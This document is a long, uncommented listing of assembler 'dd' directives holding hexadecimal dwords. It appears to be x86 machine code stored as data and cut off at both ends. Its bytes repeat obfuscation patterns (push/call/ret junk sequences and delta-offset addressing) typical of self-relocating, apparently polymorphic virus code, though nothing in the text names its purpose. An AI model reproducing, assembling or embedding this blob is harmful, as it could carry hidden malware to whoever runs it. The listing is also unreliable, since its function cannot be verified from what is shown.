1DE87633h dd 81000004h, 4878DDF6h, 0A1858948h, 6A064D0Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 4E04C353h, 2C82E4B0h, 121F9CFFh, 0B0FAB5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h, 0B1BD8BCBh dd 66064D1Fh, 9293DF81h, 8BD8B60Fh, 4D1881B5h, 6BA06h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 495006C3h, 0B889FBDEh, 0C38B7CCAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h, 0AFA72330h dd 0B589CCAEh, 64D1529h, 0C1FFBF0Fh, 8B6604E8h, 0E2F766FAh dd 2739BF66h, 0B58BD82Bh, 64D186Dh, 5BBE6693h, 36B950C4h dd 936FB0F9h, 95FFF7B1h, 64D102Dh, 2EE1BD33h, 6A5B064Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 5E4FC357h, 8CF38853h, 15958DD5h, 31064D12h dd 4D0091BDh, 6A1A8906h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F056C351h, 0B6F34A67h dd 8B66D26Dh, 44289F0h, 8DCFB70Fh, 4D201195h, 6850F06h dd 31000000h, 4D118195h, 12E906h, 655F0000h, 4AD9CCBEh dd 0C24DBAB5h, 0FC485EA2h, 737809ADh, 80601A89h, 0E0815BE0h dd 41E1BAE6h, 4428961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh dd 3BC35545h, 31C26256h, 4EBED7B7h, 0BE98Ah, 240B0000h dd 5A0C74B5h, 61E7C6F3h, 29958DECh, 6A064D0Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 12E0C353h, 89053A1Bh, 4D2121B5h, 601A8906h, 0B2BF6660h dd 4BE98014h, 95296161h, 64D15C1h, 6A044289h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 44DFC353h, 563153DDh, 85958DC8h, 6A064D31h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0C8E9C356h, 75457B50h, 1B4BAC2h, 4D14B9B5h, 6A1A8906h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 654DC350h, 42893764h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 9CB096C0h dd 8DB150DEh, 4D0D8995h, 8B1A8906h, 4D2761B5h, 91B86006h dd 0E92620DAh, 10h, 0A7176C52h, 2989EA13h, 0B6C4E8E1h dd 0B11571B8h, 4428961h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 71C35242h, 8E8C9684h, 83A40867h, 0C981661Ch dd 958DA978h, 64D1229h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0B3C35040h, 0A552FAF0h, 89F38B5Ch, 4D13ADBDh dd 6A1A8906h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 6454C353h, 0E9D0C044h, 0Ah, 0EC68F275h dd 4D63CF57h, 42890ED1h, 6820F04h, 81000000h, 3C7DBBEEh dd 61958D73h, 0F064D03h, 1A89F9BFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 13C35242h, 91BD035Eh, 8B064D0Bh dd 4D0555BDh, 4428906h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0B3C35040h, 0C068266Ch, 12E914h, 0C9BB0000h dd 0B57F3250h, 669A895Dh, 0E4A52A05h, 35906A21h, 0D19D8B60h dd 8B064D21h, 4D1B299Dh, 958D6106h, 64D3035h, 0C8B70F53h dd 6A1A895Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0E9E8C352h, 60304E84h, 66C9BF0Fh dd 613392B9h, 2B044289h, 4D113DBDh, 115E906h, 0B58B0000h dd 64D2531h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 55A565C3h, 81659836h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 855072C3h, 4A7FC1C5h, 880F977Bh, 0 dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0A24556C3h, 6A8EB7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 65C35545h, 0C1CEB652h, 0E8F560B2h dd 0Ah, 0A9B11D9Ch, 0E1BB654Ah, 0ACBFAD4Ah, 5E3FAB80h dd 0ED95FF61h, 6A064D26h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 8C70C350h, 94BF1CA0h dd 67B5A9B2h, 0F05B460h, 28Dh, 61D7B400h, 0ACE18166h, 0CF8166FBh dd 6AC385B9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F7F0C352h, 8A0DE5B5h, 56006AC5h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 809F3672h, 0C08B95E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 83C35747h, 0D8EA00D8h, 0B58B6C81h, 64D211Dh dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501974h dd 38B8C08Bh, 89000004h, 4D31A585h, 7C9D8D06h, 0FF064FB7h dd 83585BD3h, 4D0011BDh, 17740006h, 38B85350h, 89000004h dd 4D31A585h, 1D9D8D06h, 0FF064FB4h, 6A585BD3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0ADC4C351h, 2F4EDD01h, 8BF82A9Eh, 35858DC0h, 0E8064D07h dd 0Bh, 0DDE2EAA2h, 0A380BED1h, 1867A65h, 4D2EA585h, 89505F06h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 4738AEC3h, 8967F3B1h, 4D0FC5BDh, 0A1BD8B06h dd 6A064D27h, 41B58900h, 6A064D15h, 11840F00h, 0E8000000h dd 7, 9936B4CFh, 66E23D2Bh, 5BCF31BFh, 35FB858Dh, 6A0651h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0D515FDC3h, 0DFB70F77h, 6A05C083h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8680C356h dd 0AE9h, 5BF1E400h, 0AA0EA38h, 900EF58Eh, 98BF5250h, 0F4DC218h dd 50585A31h, 95BF6656h, 66905B0Dh, 6ADA8Bh, 93E38166h dd 6A006AA4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 220C351h, 158D8942h, 0F064D1Eh dd 38Ch, 0F8BF0F00h, 114995FFh, 6A064Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DB3812C3h dd 6840F46h, 29000000h, 4D1541B5h, 138D8D06h, 2906509Ah dd 4D23959Dh, 0A5B58906h, 0FF064D29h, 53006AD1h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F4FF425h, 1787h, 0FE800h, 79C20000h, 0A6648E4Bh, 0C862D486h dd 4E99F303h, 5F616033h, 1281BD83h, 0F01064Dh, 7485h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0DC20EE42h, 26A1171h, 0B55B589h, 6090064Dh, 0CE8DE8Bh dd 0E5000000h, 33FF6967h, 56C488AEh, 587FA0E5h, 9CBB5061h dd 9046D318h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 2EC35545h, 2062FC87h, 3195FFC0h, 8B064D24h, 4D0399BDh dd 0CCAE906h, 0E80000h, 5D000000h, 3605ED81h, 89510651h dd 4D214595h, 0B7BB5B06h, 0F5527D27h, 8A57858Dh, 9BB30650h dd 0D08B6050h, 24048961h, 1BC1BD8Bh, 0FF64064Dh, 35h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 214ACD1Bh, 0A73BE290h, 16198589h, 8964064Dh, 25h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 387D76C8h, 5870Fh, 81660000h, 0FFA761CBh, 4D181585h dd 0B3FF6A06h, 71B5FF77h, 0E9064D31h, 9, 0DE707999h, 4ECDD7DCh dd 6E9DFh, 4180000h, 0AAE7E91Dh, 41195FFh, 0AE9064Dh, 0E9000001h dd 11h, 73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh, 0E900B06Ch dd 8, 192C2414h, 7C97C427h, 895670E6h, 4D1881B5h, 71E45B06h dd 6A6ABB66h, 830F613Ch, 0CDh, 0C0D9D8Bh, 9589064Dh, 64D30C5h dd 60C8B60Fh, 8BDA8B66h, 4D2E7595h, 6BA6106h, 52000000h dd 2AB99529h, 8B5F064Dh, 3D9589C1h, 0C1064D07h, 0F38004E8h dd 0E2F766B0h, 0BF66F560h, 2B61A262h, 2DBD03C8h, 8B064D33h dd 0BF6651D1h, 0E95F39D1h, 6, 3299BD29h, 858B064Dh, 64D1215h dd 10E9h, 0A6B2EB00h, 17A48C34h, 0CCEB5D0Fh, 50A84574h dd 7C0831Bh, 158D8B60h, 66064D21h, 8361D38Bh, 0BD8B00C0h dd 64D2321h, 830FD03Bh, 8, 0E9D98B66h, 31h, 17D18D8Bh dd 8166064Dh, 831974EFh, 840F01E1h, 1Dh, 30319589h, 0A583064Dh dd 64D17D1h, 159589FEh, 66064D12h, 0C40ED781h, 0E9h, 2AB58D00h dd 6A0650CFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E9C8C353h, 0Dh, 0AEB50687h, 439360FAh dd 0B3C1B125h, 66006A9Eh, 0FF3755BFh, 4D051195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0FE997h, 0EAA00000h, 2BD75A78h, 3BF5FD43h, 7080F5A0h dd 6F8B9BFh, 7E80000h, 67000000h, 906DDC5Ch, 9D03A8FEh dd 64D279Dh, 919D895Fh, 83064D0Dh, 6AFCFCE1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 9860C357h, 0BD1E565Fh, 8D8912C9h, 64D1549h, 0B509C02Bh dd 64D25C9h, 0FB8BD22Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D2C35141h dd 0FB99A681h, 17F5BD0Bh, 0CB81064Dh, 3ED8A27Bh, 1AF5BD23h dd 880D064Dh, 1000000h, 4D2D7DBDh, 99958B06h, 0F064D05h dd 68Fh, 0B19D2900h, 8B064D22h, 4D051D8Dh, 11E806h, 51990000h dd 0CD5A8F0h, 0C137A2C5h, 43FF39F9h, 897C0E71h, 4D29219Dh dd 8B505B06h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DDC35545h dd 6D311894h, 9FB9D6D3h, 45BD8BA6h, 66064D00h, 6A18DABBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 5C2C351h, 3A4880Eh, 55B5892Fh, 83064D2Dh dd 4D1C45BDh, 840F0006h, 3Eh, 11B19D31h, 0B8064Dh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0E5A9C353h, 41C7EAC9h, 8D0EEF58h, 4D4DE58Dh dd 0E1FFF806h, 328D8D29h, 0BD83064Dh, 64D02E9h, 840F00h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0E2B5C353h, 0B88BA2Eh, 4D21399Dh dd 0E9BD8306h, 1064D02h, 3E8840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0DC3FF2C3h dd 9638A766h, 0BD839318h, 64D02E9h, 81860F03h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0A311C356h, 0BDA7D144h, 89602AD8h, 4D29D185h dd 0D98C6606h, 80DE8B66h dd 9D8904E1h, 64D0DDDh, 840FC90Ah, 168h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DC35343h, 0A076A1Eh dd 8B54577Bh, 4D187985h, 66BB6606h, 398533A0h, 66064D06h dd 5090F88Bh, 505BD88Bh, 0F90FB8Bh, 1988h, 14E900h, 0E28A0000h dd 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h, 6A65E7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B8C35545h dd 0BD8B081Bh, 64D0D85h, 4E8h, 1F03FF00h, 0EDBB6600h, 0BE850BBh dd 0F000000h, 6FFEC162h, 0C541CA27h, 0BF6601C5h, 8B5B967Ch dd 0F042444h, 48Eh, 0D3BF6600h, 53008B89h, 895FD88Bh, 0E9042444h dd 0Fh, 0EF2123AAh, 0CCE1E511h, 0A4F09D6Ah, 58DC55EBh dd 0B195FFF9h, 6A064D0Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1DE9C355h, 5E89E3Ch dd 6A000000h, 0A77C7BB9h, 12919D31h, 295F064Dh, 4D2DF98Dh dd 95858906h, 6A0650B7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 515FC357h, 2F219D8Bh dd 895B064Dh, 4D1B5585h, 17DE906h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 25B7DFC3h dd 0D9BF0FBDh, 0B78D858Bh, 6A0650h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0B88545C3h dd 874B80D6h, 8B937DF3h, 1800C7DAh, 8B000000h, 4D03ADBDh dd 91B58B06h, 890650B7h, 4D26AD8Dh, 4DBD8B06h, 8B064D12h dd 4D32E585h, 0D98B6606h, 6A0689h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 77873FC3h, 79858B75h dd 8A064D18h, 44689DAh, 96FBB70Fh, 50F88B66h, 6A96DA8Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0A7BEC355h, 958960C0h, 64D2F85h, 10E860h dd 0B4280000h, 671CE8E9h, 22D89B6h, 0F3C8B28Dh, 15EB24Ch dd 4D138DBDh, 0FF616106h, 50B78DB5h, 0BB0BBB06h, 5C6813EAh dd 60B1BA21h, 93B0C5B8h, 88B96635h, 481618Fh, 64E2A324h dd 31B5894Eh, 8D064D1Bh, 50B79585h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 8637B1E3h dd 24048950h, 0AE9h, 0E37A7000h, 0D02DD7BCh, 0FFC3FD99h dd 4D0EB195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 860F867Ah, 3, 61DF8B66h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 52C35242h, 2E985C7h dd 3064Dh, 8B660000h, 21BD8BFEh, 83064D2Bh, 50B795BDh dd 840F0006h, 40h, 6E9h, 0F070EB00h, 0E97EDD71h, 4Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h, 0A43191E1h dd 21CB5B5Ah, 58A0FC7h, 0BB000000h, 5D979BC3h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 14CBC353h, 0A595296Ch, 66064D2Bh, 0B0A9E381h, 0C39BD0Bh dd 860F064Dh, 6, 21619D33h, 0BD83064Dh, 64D02E9h, 46850F03h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 645CC357h, 90939FCCh, 0BD83B064h dd 650B795h, 16840F00h, 0B000004h, 4D11EDBDh, 95B5FF06h dd 6A0650B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0EB4DC357h, 32D58501h, 95FF064Dh dd 64D2D99h, 0BA5BD8Bh, 0B58B064Dh, 650B789h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 35C35747h, 49858937h dd 8B064D10h, 4D241D9Dh, 106C706h, 6A000100h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 9651C356h, 0C85B2117h, 7AA52882h, 290D81BFh, 6E870h dd 93B60000h, 5F83D559h, 11E9h, 0DC7EBA00h, 7EC701F7h dd 0F0522747h, 382C95A3h, 965B0AA5h, 0E6BB6657h, 96505FDAh dd 0F119D8Bh, 0B5FF064Dh, 650B795h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0F8C35545h, 679D0B55h, 0CF8CAD11h dd 8D95FF4Eh, 6A064D30h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F1ABC351h, 2E96C670h dd 0B70FD166h, 89B58BFFh, 6A0650B7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 7F6BC351h dd 8B1F19F4h, 4D238585h, 0C426BF06h, 868952BEh, 0C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 85C35545h, 696AE19h dd 599958Bh, 51BB064Dh, 817E97AFh, 0D94BBAE7h, 4C2835Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 62C35646h dd 8325BC3h, 71B69F89h, 205089ABh, 0CBF0858Dh, 6A0650h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0E1D250C3h, 0B88689C3h, 0F000000h, 0A89h, 0B70F6000h dd 0C28166C1h, 8B614646h, 4D0D4DBDh, 0B3006A06h, 0F98D89BCh dd 0FF064D2Ah, 50B795B5h, 3195FF06h, 0E9064D24h, 0Ch, 0B9460AE8h dd 74D5C0AFh, 75FDC3ECh, 9E850h, 4DE60000h, 0C1EB8036h dd 60544725h, 6E9D88Ah, 29000000h, 0F3674F39h, 895B615Dh dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 58D95AC3h, 0D648B57h, 0EA19D8Bh, 0BD89064Dh dd 64D14C5h, 0B795B5FFh, 6A0650h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 75A799C3h, 5C59182Ch dd 0DB99D8Bh, 95FF064Dh, 64D2CC1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 99C35040h, 33C33A41h, 0B41BD8Bh dd 0BD83064Dh, 64D32A5h, 5D840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 376CC350h, 0E956365Bh, 7, 0B773AF22h, 89EA93D9h, 4D25C98Dh dd 50505006h, 0F525052h, 0F585A31h, 0FE831h, 0BCE40000h dd 7D058B46h, 0AFC009C5h, 0FA0AA461h, 585A5B84h, 2434895Bh dd 56B4BB66h, 0B795B5FFh, 9D8B0650h, 64D0E11h, 0C3EDBF66h dd 17C595FFh, 8A0F064Dh, 6, 14519D01h, 0B5FF064Dh, 650B795h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4C35545h dd 0FF5BFC50h, 4D29B995h, 459D8B06h, 0BF064D21h, 36290612h dd 1505BD83h, 0F02064Dh, 5484h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0A90E941Bh dd 8B541359h, 4D15A985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0BEE0C6D2h, 743F1A81h dd 8B0000C6h dd 4D0BC99Dh, 1185C706h, 64D21h, 53000000h, 76DDB960h dd 13E86902h, 91000000h, 1AC393E0h, 6BD0AF09h, 27F4963h dd 0B903EEB7h, 615B8842h, 0F3F7E95Fh, 6AFFFFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8B86C3h, 64D1475h, 8B2CCB80h, 0F88B66C1h, 735858Dh dd 8D31064Dh, 64D040Dh, 860F90h, 50000000h, 58F0Fh, 2FBF0000h dd 906057E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 78C35040h, 16FB0D2Ch, 6AD88B66h, 0E58D0100h, 6A064D28h dd 8D22B700h, 5144A785h, 5DBD0B06h, 83064D07h, 870F05C0h dd 3, 505FCF80h, 9EB0BB66h, 66240489h, 6AFA8Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 57C35747h, 6840Fh dd 9D8B0000h, 64D10B5h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 5607CC3h, 0C105D764h dd 1F658D89h, 8D29064Dh, 64D3075h, 114995FFh, 6A064Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 72CCAC3h, 0C3E922Ch, 1639BD33h, 7DB3064Dh, 9A138D8Dh dd 6A0650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0B78D99C3h, 16890Fh, 11E90000h, 8B000000h dd 489FBB0Bh, 0D6305267h, 0B1E86448h, 4DD3F28Eh, 6AD1FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0A59A0EC3h, 8394A094h, 4D1281BDh, 850F0106h, 71h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 66C35747h, 26919CD9h dd 9A6FBB3Bh, 0FE9h, 48951700h, 5030FCFDh, 0C39D4F3h, 66832669h dd 8B66026Ah, 0BF6650FEh, 489454Bh, 6AFEBB24h, 95FF7B66h dd 64D2431h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 86C35242h, 1ACC71D1h, 0D9CE99Ch, 0E80000h, 5D000000h dd 44B1ED81h, 6A0651h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 6A3657C3h, 1C12136Fh, 23985171h dd 4D234D9Dh, 5D958906h, 8D064D32h, 508A5785h, 0C99D8B06h dd 90064D1Ah, 0F525060h, 10E931h, 0B8460000h, 571AA9E1h dd 1A0CB4DDh, 0AFFE015Ch, 585AF33Fh, 89905061h, 4D32D585h dd 35FF6406h, 0 dd 6359D0Bh, 8964064Dh, 25h, 0D9B70F00h, 181585FFh, 6057064Dh dd 870Fh, 870F0000h, 0 dd 0FF6A5B61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0D6C35545h, 46B24BADh, 0C7816691h, 0B5FFB0B7h dd 64D2795h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 96C35343h, 532820BAh, 9D8BA452h, 64D2195h, 41195FFh dd 4EE9064Dh, 0E8000001h, 9, 830E42Eh, 0A2335317h, 12E965h dd 60040000h, 0B5CF593Dh, 0F160E8ADh, 20A56E9Fh, 26BD7DEDh dd 0F00B05Bh, 68Ah, 0C19D8B00h, 60064D0Ah, 0D91852Bh, 0BB66064Dh dd 0E6615963h, 22BB6670h, 0F71E46Eh, 8Eh, 0F613C00h, 0F883h dd 0FF98B00h, 0A4B3C8B6h, 6BAh, 89C18B00h, 4D158D8Dh, 4E8C106h dd 0CE9h, 0C663300h, 0D0A030ACh, 1E42FF32h, 0E2F76671h dd 12E960h, 0E4740000h, 0B7A24556h, 6AA5D88Eh, 0AAD96CBCh dd 4DD75CD0h, 12860Fh, 0DE90000h, 1C000000h, 70040DD7h dd 0C9EDF4F3h, 0C1AC2B62h, 0DB58961h, 2B064D1Eh, 219D2BC8h dd 8B064D11h, 0E59D8BD1h, 0E9064D29h, 0 dd 2011858Bh, 9D89064Dh, 64D04E5h, 2907C083h, 4D204985h dd 83FC8A06h, 0BF6600C0h, 0D03B274Fh, 11830Fh, 0B5890000h dd 64D11C5h, 50E9h, 59858900h, 8B064D0Ah, 4D03098Dh, 0AE806h dd 51000000h, 22A90B9h, 0B9C9B2F4h, 0D4853BBFh, 83F55F61h dd 840F01E1h, 25h, 0A583F98Bh, 64D0309h, 719589FEh, 66064D1Bh dd 8125D781h, 20119589h, 8D89064Dh, 64D13C9h, 0E9h, 2BB58D00h dd 6A0650D8h, 1BD8B00h, 0FF064D18h, 4D051195h, 0FEB70F06h dd 0D49B9h, 0D5958900h, 83064D06h, 6AFCE1h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0BAE3F8C3h dd 0FC1ACD6Bh, 2BFFB70Fh, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0ABC40B36h dd 1D0C8D8Ch, 68E0F21h, 89000000h, 4D0AC195h, 0BA06h, 0BF0F0000h dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 891A0AC4h, 4D2C51BDh, 0ADBD8B06h, 0D064D2Eh, 88h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 15C35747h, 4F99D8Bh dd 958B064Dh, 64D0599h, 0B7CA74BFh, 1D8D8B23h, 66064D05h dd 3638CB81h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 2C33BC3h, 0B5894C53h, 64D303Dh, 0A99D8Bh dd 8D89064Dh, 64D11F9h, 1C45BD83h, 0F00064Dh, 8484h, 0B8FC00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0EC49C351h, 6E946h, 0BA280000h dd 0E48ECB42h, 4DE58D8Dh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 33E26CC3h, 4D15C99Dh dd 6AE1FF06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 5731C351h, 0B1FFF7BAh, 89F5C19Bh dd 4D0441BDh, 0E9BD8306h, 64D02h, 493840Fh, 0FA8A0000h dd 2E9BD83h, 0F01064Dh, 49F84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 89CB0F75h dd 4D303DB5h, 0E9BD8306h, 3064D02h, 438860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 3F2569C3h, 0CD76D8A9h, 3D9D29F7h, 0B064D1Fh, 4D299DBDh dd 5FBB6006h, 66186649h, 0EBBFD98Ch, 800D1D81h, 9E904E1h dd 13000000h, 32C2BDC1h, 0FC377709h, 840FC90Ah, 11Ch, 35BD8BFCh dd 8B064D21h, 4D187985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 210B7902h, 6398533h, 0BD09064Dh dd 64D28CDh, 8B525090h, 60310FFEh, 61F18B66h, 9050585Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 36C35646h dd 49420040h, 0DF8B66D8h, 11E8006Ah, 54000000h, 6DFC88B6h dd 0F81CDB0h, 7F9EAA27h, 92BBA041h, 1578CF81h, 0E85F0C85h dd 4, 1F03FFh, 0DA8B6650h, 424448Bh, 0E638BB66h, 800F008Bh dd 10h, 5E95250h, 0AD000000h, 13571085h, 585A310Fh, 4244489h dd 0FF58F98Bh, 4D0EB195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 360899D5h dd 85896195h, 650B795h, 0BD98D89h, 8BE9064Dh, 6A000002h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 15D9C357h, 9F3B3AC9h, 8E64B6C8h, 0B78D858Bh dd 6A0650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0D891D6C3h, 52213C4Eh, 0A19D8B7Ah, 0C7064D15h dd 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 620EBF36h, 8E8CAh, 0AD240000h, 0AA8684E1h dd 0DA8A1E77h, 91B58B5Bh, 6A0650B7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B8CC350h dd 4D2CBD9Dh, 858BF506h, 64D32E5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 61C35343h, 890689E6h, 4D309585h dd 79858B06h, 6A064D18h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 9666C351h, 0BF0F898Eh dd 44689FEh, 